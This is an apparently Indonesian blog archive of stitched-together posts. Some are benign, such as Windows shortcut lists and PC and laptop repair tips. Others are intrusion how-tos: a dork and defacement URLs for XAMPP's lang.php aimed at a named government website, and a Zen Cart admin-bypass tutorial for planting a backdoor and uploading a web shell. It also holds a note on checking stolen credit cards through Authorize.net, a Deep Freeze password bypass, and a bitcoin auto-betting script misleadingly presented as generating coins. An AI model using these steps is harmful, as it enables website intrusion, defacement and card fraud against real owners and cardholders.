Halloween Costume ideas 2015

Software, Film dan Artikel Terbaru dan Terpopuler - Menyediakan Software terbaru dan juga pastinya Full Version, Film terbaru yang pasti HD, dan Artikel yang bermanfaat.

Desember 2015



Kali ini saya akan men-share cara earn Facebook credit 1000% WORK!!!!

oke Langsung aja.. :D Hehe

1. Konek HSS. Downloadnya disini http://hotspotshield.com/
2. Trus install. Lalu setelah INSTALL klik connect Buka Game yg ada video fbc salah satunya

3. Klik watch and earn

4. Setelah muncul video jangan di play dulu, klik kanan di frame pilih view source frame

5. cari tulisan yang ada trial.com contoh http://prntscr.com/76sgp
Open in new tab / copy URLl buka di tab baru sebanyak2 nya.

6. klo udah di play di tab gameaslinya dulu kalo selesai di play satu persatu di tab lainnya.

7. Waktu EARN DRI JAM 11 sampe 1 siang

8.Klo oops berati udh abis kuota

Nih link gamenya yg banyak Fbc nya :

https://apps.facebook.com/

ravenwoodfair/

https://apps.facebook.com/

playmillionaire/

https://apps.facebook.com/

thefeud/

https://apps.facebook.com/

myownisland/main/play

https://apps.facebook.com/

dealornodeal/

https://apps.facebook.com/

feevo-game/

https://apps.facebook.com/

fashiondesignergame/

http://apps.facebook.com/

drawmything/

http://apps.facebook.com/

paradiselife/

http://apps.facebook.com/

happy-aquarium/

http://apps.facebook.com/

cartown/

http://apps.facebook.com/

mycafelife/

http://apps.facebook.com/

mallworldgame/

http://apps.facebook.com/

happy-island/

http://apps.facebook.com/

zoo-paradise/

http://apps.facebook.com/

tetris_battle/

http://apps.facebook.com/

slotspot/

http://apps.facebook.com/


premierfootball



jadi mari mulai

exploit: 

Dork :
allinurl:/xampp/



sekarang kita punya website ini


 
jika link itu déferrent hanya mengubahnya ke ini
http://www.puertoesmeraldas.gob.ec/xampp/index.php
untuk deface itu
hanya menghapus index.php
dan menambahkan untuk itu lang.php ? kj - fido_was_here
http://www.puertoesmeraldas.gob.ec/xampp/lang.php?kj-fido_was_here
kj - fido sini mengubahnya nama Hacked_By_you Anda
 
kesalahan akan muncul
itu berarti Oke/




sekarang pergi dan memeriksa situs tetapi jangan lupa untuk menambahkan link
xampp / lang.tmp
untuk
http://www.puertoesmeraldas.gob.ec
=
ini: 3
 
 http://www.puertoesmeraldas.gob.ec/xampp/lang.tmp



Keberhasilan !!



 
 
sekarang pergi dan hack




   Deep Freeze bisa sangat membantu kita dalam hal keamanan suatu komputer, tapi bisa saja juga sangat merepotkan bila kita lupa password Deep Freeze tersebut padahal kita ingin menginstal suatu aplikasi atau program kedalam komputer. Karena Lupa passwordnya maka yang terjadi adalah?......untuk mengatasi lupa password tersebut Anda tidak perlu bingung, Saya Santa akan membagi Tips & Triknya.

   Cara mengatasinya yaitu menggunakan software yang bernama ADF (Anti Deep Freeze). Anda bisacari di google...atau bisa langsung Download Disini

Cara penggunaanya cukup mudah berikut langkah-langkahnya :

1. Download software ADF (Anti Deep Freeze)
2. Extact File tersebut sehingga menghasilkan 2 buah file yaitu Anti Deep Freeze.png dan ADF 0.1.exe
3. Untuk mematikan Deep Freeze yang lupa passwordnya anda Klik 2 pada ADF 0.1.exe

Dan pada taksbar akan tampil kepala Panda baru seperti gambar



4. Beri centang pada pilihan Select your version sesuai dengan versi Deep Freeze anda..
5. Klik 2 kali kepala panda baru diikuti dengan menekan tombol Shift (Shift+Klik2x)
6. Biarkan kolom password kosong kemudian pilih OK.
7. Untuk mengganti password yang lama dengan password baru pilih tab password dan pada Change Password masukkan password baru..
8. Untuk melihat hasilnya Pilih OK dan Reboot…



   Dulunya saat zaman DOS, dalam mengoperasikan komputer pc, laptop, atau sejenisnya, kita memang sangat memerlukan sebuah perangkat input seperti keyboard, dan tambahan mouse. Tanpa keyboard, komputer menjadi barang pajangan dan tidak berguna. Lalu sejak munculnya sistem operasi Windows, keyboard pun lebih jarang digunakan, karena mouse lebih sering digunakan karena mudah -nya ketika mengoperasikan Windows dibandingkan memakai keyboard. Namun, sebenarnya jalan rahasia termudah yang lebih mudah dan cepat dalam mengoperasikan sistem operasi Windows adalah dengan memanfaatkan tombol shortcut rahasia dari keyboard anda. Tombol keyboard shortcut umumnya adalah kombinasi 2 atau lebih tombol pada keyboard yang ditekan secara bersamaan, ketika kombinasi tombol ini ditekan maka sabuah jalan pintas rahasia kepada suatu proses atau program terbuka. Inilah yang dapat mempersingkat waktu anda dalam mengoperasikan sistem Windows, lebih cepat dari klik mouse anda.



Berikut ini daftar tombol-tombol keyboard shortcut rahasia yang tersedia di Windows XP.

Tombol Shortcut Umum pada Keyboard
Tombol CTRL + C (berguna untuk mengkopy atau menyalin item)
Tombol CTRL + X (Berguna untuk meng-Cut atau memotong item)
Tombol CTRL + V (Berguna untuk mem-Paste item)
Tombol CTRL + Z (Berguna untuk membatalkan suatu proses terakhir)
Tombol DELETE (Berguna untuk menghapus suatu item)
Tombol SHIFT + DELETE (Menghapus item yang dipilih secara permanen, item yang terhapus tidak dibuang ke dalam Recycle Bin)
Tombol CTRL sambil menyeret sebuah item (Menyalin item yang dipilih)
Tombol CTRL + SHIFT sambil menyeret item (Buat cara pintas ke item yang dipilih)
Tombol F2 key (Ubah nama item yang dipilih)
Tombol CTRL + RIGHT ARROW (Memindahkan titik penyisipan ke awal kata berikutnya)
Tombol CTRL + LEFT ARROW (Memindahkan titik penyisipan ke awal kata sebelumnya)
Tombol CTRL + DOWN ARROW (Memindahkan titik penyisipan ke awal paragraf berikutnya)
Tombol CTRL + UP ARROW (Memindahkan titik penyisipan ke awal paragraf sebelumnya)
Tombol CTRL + SHIFT dengan salah satuTombol panah (Sorot blok teks)
Tombol SHIFT dengan salah satu tombol panah (Pilih lebih dari satu item dalam sebuah jendela atau pada desktop, atau pilih teks dalam dokumen)
Tombol CTRL + A (Select all)
Tombol F3 key (Search for a file atau folder)
Tombol ALT + ENTER (View properti untuk item yang dipilih)
Tombol ALT + F4 (Menutup item aktif, atau keluar dari program aktif)
Tombol ALT + ENTER (Menampilkan properti dari objek yang dipilih)
Tombol ALT + Spacebar (Buka menu shortcut untuk jendela aktif)
Tombol CTRL + F4 (Close dokumen aktif dalam program-program yang memungkinkan Anda untuk memiliki beberapa dokumen yang terbuka secara bersamaan)
Tombol ALT + TAB (Switch antara item yang terbuka)
Tombol ALT + ESC (Cycle melalui item dalam urutan yang mereka telah dibuka)
Tombol F6 key (Cycle melalui elemen-elemen layar dalam jendela atau pada desktop)
Tombol F4 key (Menampilkan the Address bar list in My Computer atau Windows Explorer)
Tombol SHIFT + F10 (Menampilkan menu shortcut untuk item yang dipilih)
Tombol ALT + Spacebar (Menampilkan menu Sistem untuk jendela aktif)
Tombol CTRL + ESC (Menampilkan menu Start)
Tombol ALT + huruf digarisbawahi dalam nama menu (Menampilkan menu yang sesuai)
Tombol F10 key (Mengaktifkan menu bar dalam program aktif)
Tombol RIGHT ARROW (Buka menu berikutnya ke kanan, atau membuka submenu)
Tombol LEFT ARROW (Buka menu sebelah kiri, atau menutup submenu)
Tombol F5 key (Update jendela aktif)
Tombol BACKSPACE (View the folder one level up in My Computer atau Windows Explorer)
Tombol ESC (Membatalkan tugas sekarang)
Tombol SHIFT ketika Anda memasukkan CD-ROM ke dalam CD-ROM (Mencegah CD-ROM secara otomatis bermain)
Tombol CTRL + SHIFT + ESC (Membuka Task Manager)
Tombol PRT SCRN (Menyalin tampilan desktop ke clipboard)
Tombol ALT+PRT SCRN (Menyalin tampilan jendela aktif ke clipboard)

Tombol keyboard short pada Kotak dialog
Jika Anda menekan SHIFT + F8 di dalam kotak daftar seleksi tambahan, maka anda mengaktifkan modus seleksi tambahan. Dalam mode ini, Anda dapat menggunakan tombol panah untuk memindahkan kursor tanpa mengubah pilihan seleksi. Anda dapat menekan CTRL + Spacebar atau SHIFT + Spacebar untuk menyesuaikan pilihan seleksi. Untuk membatalkan pilihan diperpanjang siaga, tekan SHIFT + F8 lagi. Modus seleksi tambahan membatalkan sendiri ketika Anda memindahkan fokus ke kontrol lain.

Tombol CTRL + TAB (Bergerak maju melalui tab)
Tombol CTRL + SHIFT + TAB (Bergerak mundur melalui tab)
Tombol TAB (Bergerak maju melalui pilihan)
Tombol SHIFT + TAB (Bergerak mundur melalui pilihan)
Tombol ALT + huruf yang digarisbawahi (Tombol shortcut ini berguna Lakukan perintah yang sesuai atau pilih opsi yang sesuai)
Tombol ENTER (Lakukan perintah untuk opsi atau tombol aktif)
Tombol Spacebar (Pilih atau menghapus kotak centang jika pilihan yang aktif adalah check box)
Tombol Arrow keys (Pilih sebuah tombol jika pilihan aktif adalah group tombol pilihan)
Tombol F1 key (Display Help)
Tombol F4 key (Display the item dalam daftar aktif)
Tombol BACKSPACE (Open a folder satu tingkat jika folder dipilih dalam Simpan Sebagai atau Buka kotak dialog)

Tombol keyboard shortcut pada keyboard khusus Microsoft
Tombol Windows Logo (Menampilkan atau menyembunyikan menu di Start)
Tombol Windows Logo + BREAK (Menampilkan kotak dialog System Properties)
Tombol Windows Logo + D (Menampilkan penuh desktop)
Tombol Windows Logo + M (Meminimalkan semua jendela)
Tombol Windows Logo + SHIFT + M (Memulihkan jendela yang diminimalkan)
Tombol Windows Logo + E (Membuka My Computer)
Tombol Windows Logo + F (Membuka jendela pencari file dan folder)
Tombol CTRL + Windows Logo + F (Search for komputer)
Tombol Windows Logo + F1 (Menampilkan Windows Help)
Tombol Windows Logo + L (Mengunci keyboard)
Tombol Windows Logo + R (Membuka kotak dialog Run)
Tombol Windows Logo + U (Membuka Utility Manager)

Tombol keyboard shortcut yang berhubungan dengan Accessibility
Tombol Right SHIFT selama delapan detik (Switch FilterKeys on atau off)
Tombol Waktu ALT + left SHIFT + PRINT SCREEN (Switch High Contrast on atau off)
Tombol Waktu ALT + left SHIFT + NUM LOCK (Mengaktifkan MouseKeys on atau off)
Tombol SHIFT lima kali (Mengaktifkan StickyKeys on atau off)
Tombol NUM LOCK selama lima detik (Mengaktifkan ToggleKeys on atau off)
Tombol Windows Logo + U (Open Utility Manager)

Tombol keyboard shortcut di Windows Explorer
Tombol END (Menampilkan bagian bawah jendela aktif)
Tombol HOME (Menampilkan bagian atas jendela aktif)
Tombol NUM LOCK + Asterisk sign (*) (Menampilkan semua subfolder yang berada di bawah folder yang dipilih)
Tombol NUM LOCK + Plus sign (+) (Menampilkan isi dari folder yang dipilih)
Tombol NUM LOCK + Minus sign (-) (Menampilkan isi folder yang dipilih kembali ke folder sebelumnya)
Tombol LEFT ARROW (Memundurkan pilihan folder ke sebelumnya, atau pilih folder induk)
Tombol RIGHT ARROW (Menampilkan pilihan folder ke sub folder selanjutnya, atau pilih subfolder pertama)

Tombol keyboard shortcut pada Peta Karakter
Setelah Anda klik dua kali pada grid karakter karakter, Anda dapat bergerak melalui grid dengan menggunakan cara pintas keyboard:

Tombol RIGHT ARROW (Pindah ke kanan atau ke awal baris berikutnya)
Tombol LEFT ARROW (Pindah ke kiri atau ke akhir baris sebelumnya)
Tombol UP ARROW (Pindah ke atas satu baris)
Tombol DOWN ARROW (Pindah ke bawah satu baris)
Tombol PAGE UP (Pindah ke atas satu layar pada satu waktu)
Tombol PAGE DOWN (Pindah ke bawah satu layar pada satu waktu)
Tombol HOME (Pindah ke awal baris)
Tombol END (Pindah ke akhir baris)
Tombol CTRL + HOME (Pindah ke karakter pertama)
Tombol CTRL + END (Pindah ke karakter terakhir)
Tombol Spacebar (Beralih di antara modus yang membesar dan normal bila karakter dipilih)

Tombol keyboard shortcut pada Jendela utama Microsoft Management Console (MMC)
Tombol CTRL + O (Buka konsol yang disimpan )
Tombol CTRL + N (Buka konsol baru)
Tombol CTRL + S (Menyimpan konsol dibuka)
Tombol CTRL + M (Menambah atau menghapus item konsol)
Tombol CTRL + W (Buka jendela baru)
Tombol Tombol F5 (Memperbarui konten semua jendela konsol)
Tombol ALT + Spacebar (Menampilkan menu jendela MMC)
Tombol ALT + F4 (Menutup konsol)
Tombol ALT + A (Menampilkan menu Action)
Tombol ALT + V (Menampilkan menu View)
Tombol ALT + F (Menampilkan menu File)
Tombol ALT + O (Menampilkan menu Favorites)

Tombol keyboard shortcut pada Jendela konsol MMC
Tombol CTRL + P (Mencetak halaman aktif atau aktif pane)
Tombol ALT + Minus sign (-) (Menampilkan menu window untuk jendela konsol yang aktif)
Tombol SHIFT + F10 (Menampilkan shortcut menu Action untuk item yang dipilih)
Tombol Tombol F1 (Membuka topik Bantuan, jika ada, untuk item yang dipilih)
Tombol Tombol F5 (Memperbarui konten semua jendela konsol)
Tombol CTRL + F10 (Memaksimalkan jendela konsol yang aktif)
Tombol CTRL + F5 (Memulihkan jendela konsol yang aktif)
Tombol ALT + ENTER (Menampilkan kotak dialog Properties, jika ada, untuk item yang dipilih)
Tombol F2 key (Ubah nama item yang dipilih)
Tombol CTRL + F4 (Menutup jendela konsol yang aktif. Ketika sebuah konsol hanya memiliki satu jendela konsol, jalan pintas ini akan menutup konsol)

Tombol shortcut navigasi pada sambungan remote desktop
Tombol CTRL + ALT + END (Membuka kotak dialog Microsoft Windows NT Security)
Tombol ALT + PAGE UP (Berpindah antara program dari kiri ke kanan)
Tombol ALT + PAGE DOWN (Berpindah antara program dari kanan ke kiri)
Tombol ALT + INSERT (Cycle melalui program-program yang terakhir digunakan di sebagian besar order)
Tombol ALT + HOME (Menampilkan menu Start)
Tombol CTRL + ALT + BREAK (Berpindah klien komputer antara jendela dan layar penuh)
Tombol ALT + DELETE (Menampilkan menu Windows)
Tombol CTRL + ALT + Minus sign (-) (Menempatkan sebuah snapshot dari seluruh area jendela klien pada clipboard server Terminal dan menyediakan fungsi yang sama dengan menekan ALT + PRINT SCREEN pada komputer lokal.)
Tombol CTRL + ALT + Plus sign (+) (Menempatkan sebuah snapshot dari jendela aktif klien pada clipboard server Terminal dan menyediakan fungsi yang sama dengan menekan PRINT SCREEN pada komputer lokal.)

Tombol shortcut navigasi Microsoft Internet Explorer
Tombol CTRL + B (Membuka kotak dialog Organize Favorites)
Tombol CTRL + E (Membuka Search bar)
Tombol CTRL + F (Memulai utiliti Find)
Tombol CTRL + H (Membuka History bar)
Tombol CTRL + I (Membuka Favorites bar)
Tombol CTRL + L (Membuka kotak dialog Open)
Tombol CTRL + N (Membuka salinan jendela baru dari halaman browser sekarang dengan alamat Web yang sama)
Tombol CTRL + O (Membuka kotak dialog Buka, sama seperti CTRL + L)
Tombol CTRL + P (Membuka kotak dialog Print)
Tombol CTRL + R (Memperbarui halaman Web ini)
Tombol CTRL + W (Menutup jendela aktif




        Buat teman teman yang punya komputer baru atau mungkin masih awam dengan yang namanya komputer bisa mencoba tips dari saya ini yang mungkin bisa anda coba ketika komputer anda restartsendiri. Komputer sendiri terbagi dari beberapa bagian yang mungkin dulu dari SD sudah diajarkan sama bapak atau ibu guru :D, Hardware Software dan Brainware ya ketiga bagian itu adalah elemen terpenting dalam sebuah komputer.
Bagian yang akan kita bahas nanti adalah hardware (Perangkat Keras) dan software(Perangkat lunak). Karena Komputer erat hubungannya dengan Hardware dan software maka penyebab komputer rusak pun banyak penyebabnya yang berhubungan dengan 2 hal ini, ukey kita bahas kawan :D permasalahannya seperti ini kawan :

#Prosesor kepanasan
   Prosesor yang katanya adalah sebuah otak menurut guru SD saya dulu hehe, katanya semua proses dikomputer itu adalah berada disini, lalu apa hubungannya dengan komputer restart ??
begini mas mbak, ketika komputer bekerja dengan keras mungkin lagi membuka banyak aplikasi secara bersamaan, maka prosesor yang dikatakan sebagai otak ini akan bekerja extra keras #kasian, nah didalam prosesor ini terdapat system untuk menyelamatkan prosesor itu sendiri ketika dalam kondisi temperatur tertentu dengan merestart komputer tersebut, lalu bagaiamana cara untuk mengatasinya ?


   anda bisa mengecek temperatur komputer pada BIOS, atau anda bisa menggunakan program untuk mengecek temperatur dari komputer seperti CPUID
Anda cek untuk bagian Fan Prosesor, apakah perputarannya pelan, karena jika perputarannya pelan maka temperatur prosesor akan mudah panas dan otomatis komputer restart, anda bisa menyemprotkan cairan anti karat dibagaian dinamo dari fannya yang seperti biasanya saya lakukan

   Anda lihat apakah pada sirip sirip pendingin prosesor tersebut itu banyak debu debunya yang mengakibatkan temperaturnya mudah panas .
sudah keringannya pasta prosesor yang ada diatas prosesornya, ini juga yang akan menyebabkan prosesor cepat panas, anda bisa memberikan pasta prosesor biasanya disebut iso thermal, atau bisa pakai cara yang lebih extrem pakai pasta gigi cara ini juga bisa cuma tidak disarankan karena lama lama akan mengalami penggumpalan ketika lama digunakan.
   anda bisa meletekkan komputer anda diruangan yang berAC ya sedikit banyak akan memberikan menurunkan temperatur dari prosesor ketika prosesor mulai memanas :D

#Power Supply turun daya

   Hal seperti ini biasa sangat sering terjadi kawan, biasanya seperti ini ketika menyalakan komputer, pada waktu bios loading windows itu komputer bisa berjalan normal, tetapi ketika masuk ke windows yang terjadi adalah komputernya restart, apa yang terjadi ?????
logikanya seperti ini, ketika komputer masuk ke bios dan loading windows itu daya listrik yang diminta masih belum banyak, tetapi ketika masuk ke dalam windows pastinya banyak program yang dijalankan dan pastinya akan meminta asupan listrik yang cukup banyak, dan ketika power suply sudah menurun dayannya yang terjadi power supply tidak dapat memberikan permintaan listrik ke komputer akhirnya ngerestart kan kawan, cukup masuk akal lah :D, jadi sebaiknya untuk keperluan komputer saat ini anda bisa pakai yang 500 watt saja kawan :D .

#VGA rusak
   Jika anda yang pakai VGA Card anda bisa juga untuk mengecek komponen yang satu ini, beberapa vga card yang ada kipasnya, bisa anda lihat kipasnya itu mungkin pergerakannya melambat mungkinkarena kotor, bisa anda bersihkan hal ini juga berpengaruh kawan.

#Kerusakan Di Harddisk   Ada kemungkinan juga ada badsector di harddisk anda yang menyebabkan komputer anda tidak maksimal dalam pembacaan data yang menyebabkan komputer restart, lalu bagaimana cara mengatasinya ?? anda bisa melakukan checkdisk atau melakukan defragment pada harddisk anda.

#Ram Rusak
   Kemungkinan juga bisa terjadi, karena ketika ram dalam keadaan rusak maka komputer dalam menjalankan program tidak bisa maksimal yang menyebabkan komputer akan melakukan restart, atau malam di beberapa contoh permasalahan ketika ram rusak komputer tidak akan bisa menyala yah cukup extrem kan kawan :D. coba untuk mengganti ram anda atau mungkin membersihkan ram anda dengan cara membersihkan bagaian kuningannya dengan penghapus pensil kawan :D.

#Kabel Harddisk tidak stabil

   Ya yang ini adalah pengalaman yang sering saya temui biasanya terjadi di harddisk dengan kabel sata, ketika kabel datanya rusak atau kurang berfungsi, maka komputer akan bisa restart,bagaimana bisa terjadi seperti berikut ini, menurut pemikiran yang saya tangkap ketika si komputer booting di os dia punya batas maksimal loading, jadi ketika kabel yang digunakan kurang maksimal dalam penyampaian data yang bisa menyebabkan loading yang lama dan akhirnya bisa restart itu komputer :D

#Lonjakan Listrik penyebab komputer restart

   Lonjakan listrik yang secara tiba tiba terjadi bisa membuat komputer anda restart karena permintaan listrik yang diminta komputer tidak terpenuhi, lalu bagaimana solusinya kawan ??
saya sarankan untuk menggunakan si Stavolt untuk komputer anda untuk mengatasi ketika lonjakan listrik ini.

#Fatal error
   Ya keterangan fatal error juga sering kita temui ketika anda sedang bermain komputer, dan setelah itu komputer akan restart otomatis ????? apa salah komputernya ??? kok tiba tiba si layar jadi warna biru BSOD (Blue Screen Of death) nah bagaimana cara mengatasinya ??
Fatal Error ini terjadi ketika system terjadi kerusakan, jadi saran saya repair saja system anda atauinstall ulang, jika tidak maka yang terjadi tetap seperti itu.

#Antara Hardware dan software tidak cocok
   Bagi orang awam mungkin anda belum mengenal apa itu driver ?? apa fungsinya ??
nah driver ini yang sangat kompleks fungsinya, seperti kata diatas hardware dan software tidak cocok ini akan juga mengalami error dan menyebabkan restart, jadi saran saya silahkan anda pastikan drivernya sudah cocok, jika anda bingung anda bisa menggunakan software all driver, seperti driver pack solution untuk menginstall driver.

 #Hardware atau software Yang rusak 
   Ketika komputer nyala pertama kali, anda tekan f2,atau del(tergantung merk motherboard) dengan otomatis masuk bios, nah ketika masuk bios itu tunggu 5 menit, jika komputer anda restart, berarti yang rusak adalah dibagaian hardware, tetapi jika tetap nyala dan ketika anda masuk ke windows normal komputer restart , berarti yang rusak itu softwarenya :D.

Terima kasih kawan demikian artikel saya mengenai  Penyebab-Penyebab Komputer Sering Restart Dan Cara Mengatasinya
Thank's



      Ketika teman-teman mencolokkan adaptor daya DC dan tekan pada tombol power, laptop mulai membuat suara-suara normal, LED bekerja dengan benar, tetapi tidak ada yang muncul di layar. Laptop tidak start dengan benar.


Pertama-tama, kita lihat lebih dekat pada layar LCD. Lihat di layar di bawah cahaya terang. Ada kemungkinan bahwa gambar masih di layar tapi sangat samar.


Jika pengamatan menunjukkan tidak ada gambar sama sekali di layar LCD laptop, coba uji laptop dengan menggunakan monitor eksternal. Setelah monitor eksternal terpasang tekan tombol power laptop. Ketika laptop sudah nyala setting ke layar eksternal dengan menekan Fn dan tombol F4 secara bersamaan pada laptop HP, Fn dan tombol F5 pada laptop Toshiba, Fn dan tombol F7 pada laptop IBM. Tergantung permintaan laptop anda. Laptop lain dapat menggunakan kombinasi tombol yang berbeda.

Katakanlah monitor eksternal bekerja dengan baik tetapi layar LCD internal tidak ada tampilan sama sekali. Jika itu yang terjadi, masalah Anda bisa berhubungan dengan layar LCD atau kabel video. Juga, pastikan kabel video membuat hubungan baik dengan motherboard dan layar LCD. Coba buka laptop dan perbaiki kedudukan kabel lalu tes lagi.



Jika kedua monitor tidak ada tampilan, berarti masalah tidak terkait dengan layar LCD atau kabel video. Dari pengalaman saya, masalah ini biasanya terkait dengan memori laptop.



Coba buka dan pasang kembali modul memori, mungkin tidak terpasang baik pada slot memori. Cobalah membersihkan kontak pada modul memori dengan penghapus pensil. Coba pindahkan modul memori ke slot yang lain. Cobalah mengganti modul memori dengan modul lain yang masih baik, mungkin modul asli sudah rusak.

Jika Anda memiliki dua modul memori terinstal, anda dapat mencoba melepas satu per satu lalu tes lagi, mungkin salah satu modul rusak. Coba pasang modul memori yang berbeda ke dalam slot memori yang berbeda.

Jika tes memori ini tidak juga berhasil, maka sekarang kita pindah lokasi sebab ternyata ada kerusakan lain



Coba keluarkan battery, hard drive dan DVD drive dan turn on lagi laptop tanpa komponen tadi.



Juga, cobalah menyalakan laptop dengan monitor eksternal ketika kabel video internal dicabut dari motherboard. Jika laptop start dengan monitor eksternal, tampaknya ada sesuatu yang salah dengan panel layar laptop.



Jika melepas hard drive dan DVD drive, mencabut kabel video tidak membantu, lanjutkan dengan melepas kartu wireless, modem, keyboard.



Jika sampai disini laptop masih bermasalah, sekarang keluarkan mainboard dari tempatnya dan tes dalam keadaan minim komponen. Gunakan monitor ekxternal.



Lakukan tes seperti gambar di atas. Jika kipas pendingin jalan tetapi tetap tidak ada tampilan, chip vga rusak atau mainboard rusak. Lanjutkan dengan mengganti chip vga
sekian Thanks's Family T.I Sniper



       Saat Anda menyambungkan adaptor daya dan tekan pada tombol power, tidak ada tanda-tanda kehidupan sama sekali. Laptop tidak mengeluarkan suara tertentu yang seperti biasa, LED tidak menyala, kipas tidak berputar, layar kosong dan hitam, dll … Singkatnya, laptop mati total.






Apa yang dapat Anda lakukan dalam kasus ini?
1. Pastikan outlet listrik berfungsi atau tidak, dan pastikan adaptor laptop DC mendapatkan daya dari stopkontak. Coba stopkontak.
2. Uji adaptor laptop daya DC, pastikan tegangan output benar. Anda dapat menguji adaptor daya DC dengan voltmeter.
3. Katakanlah adaptor DC baik-baik saja dan tegangan output adaptor benar. Dalam hal ini coba cabut power adapter dari laptop, keluarkan baterai, tunggu 1-2 menit, pasang di adaptor dan coba menyalakan laptop lagi.OK, adaptor sudah diuji dan itu ternyata rusak. Jika Anda memutuskan untuk mengganti adaptor DC asli dengan yang generik, Anda harus mengikuti aturan ini:
Output tegangan pada adaptor baru Anda harus persis sama dengan pada adaptor asli. Ampere pada adaptor baru bisa sama atau lebih tinggi.Jika tidak membantu dan laptop masih mati, tampaknya motherboard ada dalam masalah  atau ada masalah dengan jack DC daya. Ada kemungkinan jack DC daya rusak dan motherboard tidak mendapatkan pasokan listrik apapun dari adaptor. Dalam hal ini Anda harus membongkar laptop dan mengganti jack listrik.


Menurut para penggila online, saat ini bitcoin lagi gandrung2 nya, bahkan pernah mencapai 10 jt untuk 1 bitcoin.

Nah kali ini ada sebuah trik khusus dimana kita bisa menggenerate bitcoin agar semakin bertambah. terlebih dahulu kalian wajib memiliki account bitcoin. karena itu syarat wajib agar bisa mendapatkan 

cash money from bitcoin.

Nah setelah anda punya account bitcoin silahkan join langsung daftar ke situs f r e e b i t c o . i n, setelah itu langsung login dan mulai masukkan angka captha yg sudah tertera di situs tersebut lalu klik ROLL untuk mendapatkan BTC gratis, ingat jumlah BTC gratis ini akan semakin besar sesuai dengan ketampanan kalian, ^_^

Setelah mencapai 0,00001000 BTC maka saat ini lah waktunya untuk menggenerate BTC ini. Klik Multiply BTC lalu tekan CTRL + SHIFT + K ( untuk browser Mozzila ) atau CTRL + SHIFT + J ( untuk browser Chrome )

Setelah itu paste script ini ke browser bagian bawah lalu tekan enter. berikut isi script yg bisa auto bet HI di situs tersebut :

bconfig = {
  maxBet: 0.0002200,
  wait: 1000,
  autoexit: 0.00001,
  want: 0.000014,
  toggleHilo:false,
  startbal: 0,
  won: 0,
};
hilo = 'hi';
multiplier = 1;
rollDice = function() {

  if ($('#double_your_btc_bet_lose').html() !== '') {
    $('#double_your_btc_2x').click();
    multiplier = 1;
    if(bconfig.toggleHilo)toggleHiLo();
  } else {
    $('#double_your_btc_min').click();
    multiplier = 1;
  }

  if (parseFloat($('#balance').html()) < (parseFloat($('#double_your_btc_stake').val()) * 2) ||
    parseFloat($('#double_your_btc_stake').val()) > bconfig.maxBet) {
    console.log($('#double_your_btc_min'));
  }
  if (parseFloat($('#balance').html()) < bconfig.autoexit) {
    throw "exit";
  }
  if (parseFloat($('#balance').html()) > bconfig.want) {
        var num = parseFloat($('#balance').html());
        bconfig.want = num + 0.00000030;
        bconfig.autoexit = num - 0.00000420;
  bconfig.won++;
  var total = num - bconfig.startbal;
        console.log('Setting bconfig want to: ' + bconfig.want)
        console.log('Setting autoexit to: ' + bconfig.autoexit)
  console.log('Total won: ' + total + ' BTC')
  }

  $('#double_your_btc_bet_hi_button').click();

  setTimeout(rollDice, (multiplier * bconfig.wait) + Math.round(Math.random() * 1000));
};

toggleHiLo = function() {
  if (hilo === 'hi') {
    hilo = 'hi';
  } else {
    hilo = 'hi';
  }
};
var num = parseFloat($('#balance').html());
bconfig.startbal = num;
bconfig.want = num + 0.00000030;
bconfig.autoexit = num - 0.00000420;
rollDice();

 


Untuk melihat script ini jalan atau tidak nya lihat lah jumlah BTC kalian yg selalu berubah-ubah. Script ini sudah diuji coba dan sampai posting ini diterbitkan script masih tetap jalan. Kalau sudah bertambah banyak, silahkan reload browser untuk menghindari kekalahan. ^_^ 



Karena banyak yg minta agar bug ZC dipublish, maka kali ini saya akan mencoba memberikan tutor bug lawas ini. meskipun di mesin pencari google, sudah banyak tutor ZC yg terpublish, mengapa kok masih ada aja yg minta tutorial ini ?? Itulah yg saya herankan selama ini....

Pertama-tama, siapkan dulu beberapa syarat untuk melaksanakan kegiatan ini :
Makan Kue Berger :v  ya...!!
Kopi secangkir saja..
Laptop cukup merk LENOVO.. ^_^
Koneksi internet yang memadai
Mari kita cari di google beberapa target yg memadai, ketik dork standar2 aja kayak "Powered by Zen Cart"


Setelah itu, cek satu per satu site untuk menentukan target site yg masih vuln, hal ini harus dilakukan karena bug zc sudah lama beredar sekitar tahun 2008. Berikut cara penentuan site yg vuln :

http://domain.com/halamanadmin/index.php//password_forgotten.php
Apabila site vuln, maka akan muncul seperti ini :
  







gambar diatas, menunjukkan bahwa kita telah memasuki halaman admin site, setelah itu langsung saja kita masuk ke dalam halaman define_pages_editor.php dengan cara :

http://domain.com/halamanadmin/define_pages_editor.php//password_forgotten.php
Gambar nya muncul seperti :




dari keterangan gambar diatas, kita akan merubah tampilan main_page agar dapat mengakses file shell kita, karena database membaca nya dari angka 0, maka kita akan mengakses nya dg angka 4 :



http://www.domain.com/admin/define_pages_editor.php//password_forgotten.php?define_it=4&action=new_page

Setelah itu langsung view source, nah silahkan lakukan copy pada kode merah bertuliskan <form hingga sampai dengan </form>








Lalu buat file baru define.html kemudian paste code yg telah kalian copy tadi kedalam file tersebut.Lalu rubah halaman target dan tambahkan //password_forgotten.php setelah itu save file.Lihat gambar dibawah ini bila masih bingung :




Mari kita buka file tersebut dan kita isi coding shell yg akan kita tanamkan ke target.




Lalu akses site target, maka backdoor mu langsung muncul dihalaman terdepan, langsung deh upload shell anda :)



Nb:
- jangan lupa mengembalikan lagi halaman depan site target yg telah anda rubah tadi.
- bila halaman define_pages_editor tertulis error_file_not_writeable, kita bisa upload file kita di banner_manager.php / record_company.php / yang laennya....
Thank's My Family T.I Sniper



B
erikut adalah script untuk check peluru kalian, ingat kalian harus memasukkan terlebih dahulu account authorize yang valid agar script berjalan.


apabila ada pesan Merchant Respond: The transaction has been declined because of an AVS mismatch. The address provided does not match billing address of cardholder. maka peluru itu valid.

harap digunakan dengan baik ya...



